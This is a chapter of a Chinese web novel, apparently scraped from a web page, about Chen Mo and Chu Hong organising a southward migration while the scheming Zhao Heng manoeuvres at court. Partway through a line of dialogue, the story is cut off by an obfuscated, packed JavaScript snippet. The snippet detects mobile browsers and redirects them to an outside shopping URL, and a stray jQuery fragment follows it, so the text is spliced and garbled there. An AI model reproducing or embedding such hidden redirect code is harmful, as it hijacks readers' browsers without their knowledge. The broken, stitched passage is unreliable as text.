142. 第 142 章

作品:《刻春闺

    “你想怎么做?”


    褚红静静的和陈墨对视,男人身上此刻没有了刚刚那种压迫感,反而浑身透露着不准再抛下我的锐利。


    陈墨想过封王拜相,也想过登顶至高的权力,但是他不想变成赵衡这样,他有家人,有爱人,自己也是一个正常人,他会爱,也知道爱是什么。


    如果登顶至高就会失去所有的亲情爱情,独自一人顶峰又有何意义?


    享受无边孤独最后变得人不像人鬼不像鬼吗?那是赵衡的下场,不是他陈墨应该得到的东西。


    近年来天灾频生,皇家本来就失信于天下百姓,现如今还要让他们离开这片土生土长的故土背井离乡去另外一个地方生活,可想而知到时候会有多动乱,会有多少野心之人揭竿而起,会有多少百姓卷入战争,褚红的心是好的,可未必所有人的心都和她一样会为战乱中最不值得一提的人命想这么多。


    “赵衡迟迟拖着不肯登基,不知道在谋划什么,我们要尽快行动,你去号召梁王的旧部,我来负责动员这里的百姓让他们南迁,到时候有军队相护,一定可以平安抵达南诏。”


    褚红不是没骨气,也不是畏惧战争来临的人,赵衡贸然将驻守边城的军队带回来,已经错过了和鲜卑人决一死战护卫京都的机会,现在更是加剧了他们对安朝人的仇恨,个个都恨不得踏进皇都手撕了赵衡,反观现在安朝的军队,梁王故去士气大减,怎么看现在都不是对上的好时候。


    “那我就听你的,去联络父亲忠心的几个旧部。”


    陈墨后退一步,褚红看到了他磨破的鞋边露了脚趾出来,“你是怎么来的?怎么这样狼狈?”


    随后像是想到了什么,“齐先生不知道你来京都找我?”


    她不说还好,这么一提起来陈墨也开始拿乔,“跟你学的。”


    褚红有些反驳不了,好像教育小孩结果被反教育了。


    “不要想那么多,我比你强我留下了书信,齐先生懂我的意思,就先让他们前去为我们探路了。”


    这次看到陈墨后,就已经能想到他这一路上来的不易,只是褚红以前从来没有想到往日里风光霁月的世子殿下,今朝会以一副流浪汉的姿态出现在自己眼前。


    她从枕头下面拿了个小匣子出来,从里面掏出了几张银票,“冬天快到了,买双暖和一点的鞋子吧。”


    墨色的眼眸微抬,他的眼里有一抹复杂的情绪,“你不给我做一双?”


    “做小了你也穿吗?”语气里带上了一些轻松,她哪里会做什么鞋子?陈墨自己也知道,这是在故意打趣她。


    “既然有穿小鞋这个说法,那就肯定是能穿的。”


    男人说的认真,褚红想起那个场景却只想发笑。


    他好像很久都没有看到褚红笑过了,陈墨从胸口里掏出一包东西递给她,没说什么转身走了。


    褚红打开那个油纸包,里面是几块瘪的看不清形状的桂花糕。


    一时间不由得思绪万千,想起自己拿着桂花糕想忽悠陈墨教自己认字的时候。


    好像那时的场景还历历在目,褚红也没有想到自己会和他纠缠这么深。


    当天褚红就找人寻了布料和针线过来,捣鼓了半天缝出来的东西人不像人鬼不像鬼,想着还是什么时候出去一趟给陈墨买一双算了。


    陈墨私底下去找了些人,在得知他们也愿意跟着自己往南走后,心里也慢慢有了谋划。


    世家大族里不乏一些迂腐朽木的老书虫,这些人带不走便带不走,但绝对不能让他们散播谣言煽动城里的百姓留下,这件事要越快越好,拖则生变,谁也不知道后面会发生什么。


    刚踏出一步,鞋子前就落下了一只飞箭,他看着远处没有亮光的房屋,手放到了腰间的佩刀上。


    “表弟,怎么来探望表哥还这么鬼鬼祟祟的?”


    前方亮起几道火把映射出来的光,赵衡那张脸缓缓出现那一刻时,陈墨手里的刀已经直冲着他的脖子而去。


    赵衡垂着的手不紧不慢抬起,亮黄色的圣旨被他牢牢拿在手里。


    “你也想做乱臣贼子吗?”


    男人的双眼通红,满脑子都是想要砍了赵衡的念头。


    “你父亲的忠烈和陈家满门的忠义是都不要了对吗?”见他依旧没有停手,赵衡不紧不慢的试探着,他赌陈墨会停下。


    放在颈间的刀迟迟没有下落,他看向四周那些宫人还有侍卫,显然是受过了示意连拦都未曾过来拦一下,如果在众目睽睽之下杀了赵衡,就是坐实了陈家叛逆的罪名,连死也要将他拖进泥里受后人唾骂。


    赵衡嘴角微勾,露出一抹得意的笑,“这是先皇写下封你为摄政王的意旨,如果你现在接下它,我会将梁王生前所有的军队交给你并且不再追究他那一晚上大逆不道的事。”


    男人的视线落到他手上的圣旨上,赵衡手上转了个圈将圣旨递了过去,“你可要想好了,是要做乱臣贼子,还是要比肩皇权的权利。”


    如果换在以前陈墨孤身一人赵衡还真不敢赌,可现在他有了在意的人,冷酷无情的表皮下装下了一个想要保护的女人,所以他只能入自己的局,任由自己摆弄。


    颈上的刀光稍稍拉远,陈墨攥紧了手里的圣旨,恶狠狠的放下一句狠话,“我和你之间还远没有完。”


    转身朝着院子里的小屋走去,赵衡咳嗽两声,丝毫不把这几句话放在眼里。


    褚红第二天醒来看到陈墨的时候,有过瞬间的愣然,视线落到他眉间的疲惫上后,还是忍住了将人叫醒的举动。


    伸手将被子往上拉了拉,视线落到了他颈间的黑绳上,褚红用手指将黑绳勾了出来,一块小木牌出现在了褚红的手上,上面刻着栩栩如生的玉兰花,忍不住用拇指摩挲了一下。


    “我保存的好吗?”


    褚红没有注意到男人什么时候已经醒了,和他对视一笑,满意的点点头。


    “很好,和当时给你的一模一样,没有一丝损坏。”


    褚红将那块木牌又重新塞回了他的衣领里,“我记得当时我们好像天天吵架,每次都闹得不欢而散。”


    “现在不是也吵的挺多的?但是我会让着你,我们绝对不会再像之前一样不欢而散。”


    他不会再给任何人钻进褚红身边的空隙机会。


    “昨天什么时候回来的?还敢睡这么熟,不怕赵衡把你关起来吗?”


    陈墨将昨天晚上的经历讲给褚红听,又伸手将一旁的圣旨拿了过来递给她。


    褚红看完后一时也摸不准赵衡到底想干什么,视线又落到陈墨身上,“他能在昨天晚上那么精确的堵到你,肯定已经知道了我们做的事情,在这个节骨眼上还给你加官进爵,是不是也在说明他认可南迁这个方法?”


    “至于为什么他不自己去,可能是觉得比起他来说你更有信服力一些,更能说动那些冥顽不顾的老臣?”


    是利用也好,还是有其他阴谋也罢,眼下只能走一步算一步见招拆招了。


    “荒唐!我大安朝百年基业,怎么会怕鲜卑那群蛮人!你们这些人一个个贪图安逸,他们还未到城下便要夹着尾巴向南逃跑了吗!”


    不知道从哪里蹦出来的老头在街上大声吵吵着,怀里还抱着祖宗牌位,原本正在帮街上百姓收拾的将士们纷纷停下了手里的动作。


    陈墨将刚刚找到的那本书塞进了怀里,老头已经到了他的眼前,一叉腰开始指着她的鼻子谩骂,“亏得你也是梁王子嗣,是陈家血脉,怎么会有你这种不争气的不肖子孙!”


    “我们不是没有以少胜多的案例,况且你现在还手握几十万大军!为何不会与鲜卑人一战!”


    老头涕泗横流,一副恨不得冲上去给他一拳让他清醒清醒的模样。


    “几十万大军?你好好睁开眼睛看一看,有多少兵士是活着从边城回来的?”


    陈墨上前一步,继续逼问着,“又有多少人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873610|164886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是这一路上被抓壮丁带回来的!有的甚至连兵器都拿不稳,你要他们用血肉之躯硬扛突厥人的刀马吗?!”


    “不管怎么说,你父亲当年死守益州是如此英勇之举,你为何不能死守京都城!”


    老头也不甘示弱,和他争论着。


    陈墨不由得有些发笑,目光也变得阴鸷起来,“那就要问问你们的太子殿下做了什么,为什么要将边城的军队带回来?为什么不给我一个在边城和鲜卑人一战的机会?为什么要把军队全部撤到京都来?”


    “益州城为什么能守五年,这其中的缘由真的要我说给你听吗?”


    那人被陈墨的逼问一步一步后退着。


    “你们当时没有给过益州一分供给,我父亲是为什么撑了那么久?你以为为的是你们?”


    他的眼睛变的泛红起来,“他为的是自己吃下去的每一个益州百姓,为的是他们的子孙能够活在一个和平的时代。”


    “要我守京都也可以,你有下蒸锅的勇气吗?”


    那人被陈墨的话逼得步步后退,随即一挥衣袖,“我怎么可能和那群愚民一般?你父亲做如此大逆不道之举,你竟然还要效仿吗!简直有违人伦有违常纲!”


    陈墨轻笑一声,“真是可惜,当初在益州的怎么不是你们?你现在享受的俸禄,住着的府邸,都是那群愚民用命换过来的,他们的骨气才叫真的风骨。”


    像是看穿了他那虚伪的假惺惺,陈墨冷哼一声扬长而去。


    这种老东西说破了天他也不会听你的,想要自己活着南迁,又要别人来镇守京都成全自己奉劝有功的美名,世界上哪有那么多两全其美的好事?


    “殿下,也有许多老臣召集自己的门生跪在宫门口要您收回成命。”


    赵衡轻轻晃了两下手里的拨浪鼓,把怀里的孩子逗得眉开眼笑才将手里的东西放下。


    “那是先皇的旨意,让他们自裁了去找先皇收回成命吧。”


    赵衡从来不真心在意他们的死活,这些人固步自封留下也没有关系,不值得惋惜什么。


    随即又看了他一眼,“若他们实在想要跪着,那就让他们在那儿跪着,不准给任何吃食和水,什么时候撑不住了自然会回去。”


    怀里的孩子突然大哭起来,赵衡一时有些手足无措,一旁的奶娘连忙接了过来轻声哄着,这才慢慢止住了哭声。


    赵衡有些好气又好笑,他捏了捏小孩的脸,“本来陪你的时间就不多,你这样哭闹就更少了。”


    他缩在奶娘的怀里把一张脸哭得皱皱巴巴,有些斗气一般将脸别了过去不去看人,这性子也不知道随了谁,又爱哭闹,又想别人陪着他玩,还要哄着才行,一副骄矜性子,若是生在寻常人家,指定是个麻烦。


    陈墨也懒得去管那些倔老头,南迁的路线,还有一路上的衣食住行都需要他安排,分不出那个闲心去管他们胡闹。


    不知道怎么回事风声就传到了褚红耳朵里,等褚红登上城门的时候,已经遥遥跪了许多人,不乏一些被煽动的民众百姓,再这样下去,恐怕民心都是摇摇欲坠,就算到了南边也生不出什么重新杀回来的斗志。


    “让人准备一些馒头还有热粥跟我一起下去。”


    身后的侍女没说什么,小跑着去吩咐褚红要的东西。


    一天没有进食的人看着热腾腾的馒头肚子早就咕咕叫起来了,看来太子是愿意听他们的进谏的,吞咽了几口口水后,看到来的人是褚红领头跪着的几人都心生不满。


    “既然都饿了,几位大人何不吃一点?”


    那人又重新闭上了眼睛,一副懒得抬眼的模样,“去去去,哪里来的不知名的宫女也敢在这里指手画脚。”


    褚红没有理会他的话,看着后面的人群中还有孩子,对一旁的侍女轻声道,“先发给后面的孩子和百姓吧。”


    侍女听她的话将手里的馒头递给一旁的小孩,刚要伸手去接就被后面的大人拦了回来。